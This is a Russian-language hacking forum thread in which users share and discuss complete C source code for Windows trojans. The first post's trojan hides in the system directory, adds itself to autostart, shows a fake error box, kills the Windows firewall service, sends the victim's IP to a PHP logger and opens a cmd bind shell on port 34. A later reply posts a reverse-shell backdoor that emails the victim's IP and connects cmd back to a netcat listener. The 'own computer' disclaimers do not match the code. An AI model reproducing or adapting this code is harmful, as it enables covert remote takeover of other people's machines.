Вообщем прошу не пинать за криволапый код и т.д. и т.п. Материалы и компоненты: 1)IDE Code::Block + MinGW 2)ДЕНВЕР 3)Подключить либы libws2_32.a, libwininet.a Описание: Троянец открывает узел, тем самым записывая IP в снифер, а затем биндиться. Куда и как - можно посмотреть в коде. Код шелл-бека: Code: #include <windows.h> #include <winsock.h> #include <wininet.h> #include <io.h> #define addresstoip "http://www.get.ru/add.php"//Адрес снифа #define port 34 bool FileExists(const char *fname){ return access(fname,0) != -1; } void KillMayer(void){//Функция для защиты шелла и убийства гребанного мауера SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (hSCM != NULL) { SC_HANDLE hService = OpenService(hSCM, "SharedAccess", SERVICE_STOP|DELETE); if (hService != NULL) { SERVICE_STATUS Status; ControlService(hService, SERVICE_CONTROL_STOP, &Status); Sleep(500); BOOL bOk = DeleteService(hService); } CloseServiceHandle(hService); } CloseServiceHandle(hSCM); } void Setup(void){//Функция для установки в систему char str[MAX_PATH],sysbuf[MAX_PATH];//Переменные GetModuleFileName(GetModuleHandle(NULL),str,MAX_PATH); GetSystemDirectory(sysbuf,MAX_PATH); strcat(sysbuf,"\\znoskernloadnoremove.exe");//Имя троянца if(!FileExists(sysbuf)){ CopyFile(str,sysbuf,true); HKEY hk; RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk); RegSetValueEx(hk,"Kernel OS Loader",0,REG_SZ,(LPBYTE)sysbuf, strlen(sysbuf) + 1); RegCloseKey(hk); MessageBoxA(0,"Системная ошибка по адресу 0x001200. Повторная установка приложения может помочь","Windows",MB_ICONERROR); } } void InfectSystem(void){//Функция для создания шелла на 34 порту WSADATA wsd; int fd,newfd; struct sockaddr_in sin; char *cmd = "cmd"; STARTUPINFO si; PROCESS_INFORMATION pi; memset(&si,0,sizeof(si)); memset(&pi,0,sizeof(pi)); WSAStartup(0x101,&wsd); fd=WSASocketA(2,1,0,0,0,0); sin.sin_family=2; sin.sin_addr.s_addr=0; sin.sin_port=htons(port); bind(fd,(struct sockaddr *)&sin, 0x10); listen(fd,0); newfd=accept(fd,(struct sockaddr *)&sin,0); si.cb=sizeof(si); si.dwFlags=0x0101; si.hStdInput=(char*)newfd; si.hStdOutput=(char*)newfd; si.hStdError=(char*)newfd; CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi); WaitForSingleObject(pi.hProcess, INFINITE); ExitThread(0); } bool GetStatusConnect(void){//Получение статуса подключения к интернету typedef BOOL (WINAPI* INETCHECKPROC) (LPDWORD lpdwFlags, DWORD dwReserved); // возвращает 1, если комп подключен к интеренту, в противном случае - 0 bool bRetVal; HINSTANCE hLib = NULL; INETCHECKPROC pfnInternetGetConnectedState; // грузим (в смысле загружаем) библиотеку wininet.dll hLib = LoadLibrary("wininet.dll"); if (!hLib) // если не получилось загрузить библиотеку, то return 0; // возвращаем 0 // получаем адрес функции InternetGetConnectedState pfnInternetGetConnectedState = (INETCHECKPROC)GetProcAddress(hLib, "InternetGetConnectedState"); // Если не удалось получить адрес функции if(!pfnInternetGetConnectedState) return false; // возвращаем 0 DWORD lpdwFlags; // проверяем соединение bRetVal = pfnInternetGetConnectedState(&lpdwFlags, 0) != 0; FreeLibrary(hLib); // выгружаем библиотеку return bRetVal; // возвращаем статус подключения } void SendMyIP(void){//Функция отправки IP const char *accept = "Accept: */*"; HINTERNET session = InternetOpen("Our Agent",INTERNET_OPEN_TYPE_PROXY,NULL,"", 0); HINTERNET url = InternetOpenUrl(session,addresstoip,0,0,0,0); HINTERNET hRequest = HttpOpenRequest(url,"GET","",NULL,NULL,&accept,0,1); HttpSendRequestA(hRequest,NULL,NULL,NULL,NULL); } int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow){ //Устанавливаемся Setup(); //Удаляем гребаный мауер KillMayer(); //Ждем, пока комп будет подключен к нету bool con = GetStatusConnect(); while(!con){//ne podklychen con = GetStatusConnect(); Sleep(1500); } //Когда цикл будет верен посылаем IP и работаем SendMyIP();//Отправляем и... InfectSystem();//...работаем! return 0;//Все, из маин прог моно выходить. Все заметано } Такс.... Код бэкшелла готов. Теперь с кодом PHP снифа. Поффторюсь за криволапый код и использование a вместо w не пинать. Все таки месяцев 5 назад писал... Code: <?php function GetIP() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return $ip; } // GetIP $FILE_SCHABLONE = fopen('ip.html','r'); $MAIN; while($buf = fread($FILE_SCHABLONE,10)){ $MAIN=$MAIN.$buf; } fclose($FILE_SCHABLONE); $IP=GetIP(); $MAIN = $MAIN.$IP." ,current time: ".date("H:i, <b>d-m-Y</b>")."<br>"; $FILE_SCHABLONE_WRITE = fopen('ip.html','w'); fwrite($FILE_SCHABLONE_WRITE,$MAIN); fclose($FILE_SCHABLONE_WRITE); ?> Не забудьте создать еще файл ip.html . Ну все вроде. Есть маленькая просьба: взамен дать исходник или хотяб совет на то как написать что нибудь типа Lamers Death.
советую юзать порты побольше. где-то от 1000+. такие могут быть заняты.. мало-ли чем. вот это круто. я то я с паузами и прочими извратами делал. как-то функция неочень выглядит.. почему не сделал на обычных сокетах? вот это тру, в жопу ВС. я свой аналогичный бекдор на дедики заливаю. там nat'a или нет, или часто можно настроить порты. а так, я уже пишу свой бекдор с бекконектом и свистелками, а там будет и статья. Следите за обновлениями в блоге . кста, сколько весит EXE на выходе?
Да, мне она самому не нравиться))) Гдет была функция на чистых сокетах. Так я её пасеял, а теперь скок не пытаюсь свои писать - не тот аипи шлет... Решил использовать ПХП + нет проблем с отправкой ип. ))) Не надо мучацца и думать о отправке по почте и т.д. А по остальному: ну я ж первый раз пишу))) С VCL перешел))) Ну и еще - не для вреда написано. Была задача компом своим же управлять(скрытно) - и для таких целей мне CMD достаточно... И еще есть желание принять участие в разработке Программы Удаленного Администрироввания... mr. The, может обьединимся...)))) Про размер: 8,5 kb
0о, это как ты его компилируешь? На отсутствие либ не ругается? нет, я тоже на гейт захожу, для чека ip) дадада, тут вирусы запрещены, поэтому это всё для управления своим компом. а так - опенсорса полно) да я тут про бекконнект(хотя, это скорее просто управление бекдором, без подключения конкретно к нему) допишу, а там посмотрим) вс - тяжелая большая хрень, с кучей лишнего. да, я сейчас говорю о среде, а не о фичах вс-овского линковщика и компилятора.
Слушай ты, "Риальный пацан", сначала разберись со студией, а потом пизди в ее адрес. Это ИМХО самая лутшая среда разработки под винду, и не пиздите тут =\ Тяжолая? Да, есть такое дело, но чтобы небыло "кучи хрени" можно использовать не навороченую ВС 2006.
Ну над уметь пользоваться опциями линкера... Полная оптимизация по размеру. А без либ - линкер бы выплюнул....)))) С наглой мордой. А по ВЦ - ребят, для мелких проектов в один/два исходника можно и батником+notepad++ обойтись)))) А вот если разбираться в куче кода да еще если эта куча ООП со всеми вытекающими, то конечно лучше клацкнуть по классу и сразу все увидеть)))) хех.... Ну а что же? Мне компом лично управлять надо... Если бы эт было направлено на протроянивание я бы еще обход эвристика сделал, методом прямого вызова функции. Библиотеку бы подгрузил и т.д. и т.п. Да, вот функция получения ИП, нашел я счас: Code: #include <winsock2.h> string GetLocalIP() { int i=0; char Buffer[63]; WSADATA GInitData; WSAStartup(MAKEWORD(2,2), &GInitData); string result; gethostname(Buffer,63); hostent *phe=gethostbyname(Buffer); if(phe==NULL)return ""; while((*phe).h_addr_list[i]!=NULL) { result=string(inet_ntoa((*(in_addr*)(*phe).h_addr_list[i]))); i++; } WSACleanup(); return result; } Не забывать еще либу libws2_32.a , для VC юверей: libws2_32.lib или тип того, не помню))))
в таком случае лучше использовать бэкконнект! Адреса серверов хранить на каком нить ломанном серваке, брать оттуда адрес, коннектиться, ну а дальше выполнять необходимые действия. О_о.... задать опции линкера в студии, или батнике. с кучей лишнего? ну хз, как по мне так, то там наоборот многого не хватает, различные не удобства... а так студия очень даже клевая, особенно с плагинами по типу Visual Assist и прочими... хотя я привык работать в eclipse =/... code::blocks - даже не пробывал... он мне не понравился =/
На моей машине работает и получает сетевой. Хотя функция не моя. Я её переписал на Сяху ток. А Code::Block - на любителя. Мне превычней в ней. Синтаксис первоначально более приближен к тому, что я учил, а в вц свои дополнения и т.д. и т.п.
я никогда не пробовал конфеты, но они мне не понравились значит, ты не за натом. я и так включил максимальную оптимизацию.. может я что-то пропустил, скинь параметры, с которыми ты делаешь линковку. а про либы - это я говорил о самом exe. я как-то тоже делал размер на выходе около 5 кб, но на выходе, ругалось, что не может найти dll. Писать определение места dll их их подгрузку мне было лень, мне 19.5 кб хватает. хм, спасибо, сейчас погуглю, а то я вроде 2007 тестил.. мне тут надо для кпк софт писать, а больше негде толком. я уже писал, есть несколько опенсорсных проэктов, погугли.
Тоже заинтересован этой темой, недавно написал свой клиентский бэкдор с отправкой внешнего адреса на мыло. Код конечно не такой изящный получился . Собирал на Pelles C. Code: #include <winsock2.h> #include <time.h> #include <stdio.h> #include <string.h> #pragma comment (lib, "Ws2_32.lib") int client_socket(char *ip, int port) { int s; int c; WSADATA wsd; struct sockaddr_in sin; WSAStartup(0x101,&wsd); s = WSASocketA(2,1,0,0,0,0); sin.sin_family=AF_INET; sin.sin_addr.s_addr=inet_addr(ip); sin.sin_port=htons(port); do{ c = connect(s,(struct sockaddr *)&sin, sizeof(sin)); _sleep(5); }while(c == -1); return s; } /*----------main_programm----------*/ int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgs, int nWinMode) { int fd; char helo[] = "helo mail\r\n"; char auth[] = "auth login\r\n"; char login[] = "<логин в base64>\r\n"; //логин в base64 char pass[] = "<пароль в base64>\r\n"; //пароль в base64 char mail[] = "mail from:<от кого>\r\n"; //от кого мыло char rcpt[] = "rcpt to:<кому>\r\n"; //кому char data[] = "data\r\n"; char total[30]; int i = 0; /*-----------------запрос_ip_адреса----------------------*/ char sendbuf[] = "GET /get_ip.php?loc= HTTP/1.1\r\n\ Host: www.myip.ru\r\n\ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\r\n\ Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n\ Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n\ Accept-Encoding: gzip,deflate\r\n\ Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n\ Keep-Alive: 300\r\n\ Connection: keep-alive\r\n\r\n"; char buffer[1500]; char recvbuf[128]; memset(buffer, 0, sizeof(buffer)); fd = client_socket("195.161.112.6", 80); //соединение с http://myip.ru/get_ip.php?loc= send(fd, sendbuf, sizeof(sendbuf), 0); //отправка запроса recv(fd, buffer,sizeof(buffer),0); //получение ответа с последующим поиском по маске ip for(i; i < 1500; i++) { if (buffer[i]== '>' && buffer[i+4]== '.' && buffer[i+8]== '.'){goto t;} else if (buffer[i]== '>' && buffer[i+4]== '.' && buffer[i+7]== '.'){goto t;} else if (buffer[i]== '>' && buffer[i+4]== '.' && buffer[i+6]== '.'){goto t;} else if (buffer[i]== '>' && buffer[i+3]== '.' && buffer[i+7]== '.'){goto t;} else if (buffer[i]== '>' && buffer[i+3]== '.' && buffer[i+6]== '.'){goto t;} else if (buffer[i]== '>' && buffer[i+3]== '.' && buffer[i+5]== '.'){goto t;} else if (buffer[i]== '>' && buffer[i+2]== '.' && buffer[i+6]== '.'){goto t;} else if (buffer[i]== '>' && buffer[i+2]== '.' && buffer[i+5]== '.'){goto t;} else if (buffer[i]== '>' && buffer[i+2]== '.' && buffer[i+4]== '.'){goto t;} } t: memset(total, 0, sizeof(total)); for (int f=0; f<16;f++,i++) { if (buffer[i+1] == '<') goto exits; total[f] = buffer[i+1]; //сохранение найденого ip в total } exits: closesocket(fd); /*-----------------соединение_с_mail.ru_и_отправка_ip_на_мыло----------------------*/ fd = client_socket("94.100.177.1", 25); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); send(fd, helo, sizeof(helo)-1, 0); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); send(fd, auth, sizeof(auth)-1, 0); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); send(fd, login, sizeof(login)-1, 0); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); send(fd, pass, sizeof(pass)-1, 0); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); send(fd, mail, sizeof(mail)-1, 0); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); send(fd, rcpt, sizeof(rcpt)-1, 0); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); send(fd, data, sizeof(data)-1, 0); strcat(total, "\r\n.\r\n"); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); send(fd, total, sizeof(total)-1, 0); memset(recvbuf, 0, sizeof(recvbuf)); recv(fd, recvbuf, sizeof(recvbuf), 0); closesocket(fd); /*------------передача_шелла_на_сервер-------*/ STARTUPINFO si; PROCESS_INFORMATION pi; char *cmd = "cmd"; int newsf; while(1) { memset(&si,0,sizeof(si)); memset(&pi,0,sizeof(pi)); newsf = client_socket("192.168.0.2",4525);//netcat -l -p4525 si.cb=sizeof(si); si.dwFlags=0x0101; si.hStdInput=(char*)newsf; si.hStdOutput=(char*)newsf; si.hStdError=(char*)newsf; CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi); WaitForSingleObject(pi.hProcess, INFINITE); } ExitThread(0); } Да, и еще: mr.The упоминал про свистелки, хотелось бы поинтересоватся что есть "свистелки"?
Интересно, а вы сами, товарищ автор не задумывались, как может произойти ошибка по адресу 00001200h, если любое обращение к адресам ниже 10000h в венде вызывает исключение и кодес уж никак не может выполняться по адресу указанной ошибки ибо исключение произойдет уже при попытке перехода на него, а это уже будет адрес инструкции перехода фейл?